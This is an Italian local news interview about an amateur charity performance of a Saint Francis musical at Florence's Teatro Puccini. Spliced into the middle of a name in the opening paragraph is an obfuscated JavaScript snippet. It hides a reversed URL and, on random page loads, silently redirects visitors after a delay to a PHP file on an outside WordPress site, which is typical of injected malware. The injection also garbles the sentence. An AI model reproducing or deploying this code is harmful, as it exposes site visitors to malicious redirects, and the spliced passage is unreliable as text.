Da Vaiano per Le Piagge

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Un musical tutto dal vivo sarà messo in scena al Puccini il 2 e 3 giugno per sostenere le attività dell’associazione il Muretto. È un’iniziativa che nasce da un antico rapporto di amicizia fra don Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro, il prete delle Piagge, e uno dei ragazzi del gruppo Musicateatro di Vaiano, Leonardo.
È proprio lui a raccontarci la storia di questo spettacolo e del progetto delle due serate al Puccini.
“Il gruppo Musicateatro è nato nel 2002, una cosa fra amici, quasi tutti di Vaiano ma anche qualcuno di Firenze o del Galluzzo, come me. Nessuno di noi è un professionista, anche se c’è chi ha studiato danza o recitazione mentre altri sanno suonare e cantare. Come compagnia amatoriale ci siamo formati proprio su questo spettacolo, per metterlo insieme la prima volta ci sono voluti quasi 2 anni!”.
Ma che cos’è “Forza Venite Gente”? “Si tratta di un musical sulla vita di San Francesco, scritto e coreografato più di 20 anni fa e poi rappresentato tante volte in tutta Italia. Noi l’abbiamo ripreso adattandolo un po’ alle nostre esigenze e capacità”.
E quante volte lo avete messo in scena? “Con queste del Puccini arriviamo a 11 rappresentazioni, tutte quante fatte per beneficenza e tutte, va detto, con grande successo!”
Non deve essere semplice organizzare uno spettacolo così complesso… “No, infatti, bisogna fare tante prove, mettere a punto tutto… sul palco siamo circa 25, poi ci sono i costumi da cucire, le scene… e non dimentichiamo che la musica è tutta dal vivo, non ci sono basi registrate. Per fortuna siamo un bel gruppo, disposto a lavorare con passione anche se con fatica. Io per fare un esempio devo spostarmi minimo una sera alla settimana dal Galluzzo a Vaiano, dove facciamo le prove”.
Avete una sede fissa? “No, ma per fortuna il comune di Vaiano ci lascia usare degli spazi, come la palestra o la sala riunioni, e ci arrangiamo così”.
E adesso debuttate in un grande teatro, grazie anche al sostegno dell’assessorato alla cultura di Firenze, siete emozionati? “Bè, l’anno scorso siamo stati al Politeama di Prato ed è andata bene, speriamo di avere la stessa fortuna. Da parte nostra sicuramente faremo del nostro meglio per divertire il pubblico e dare il nostro contributo al Muretto”.

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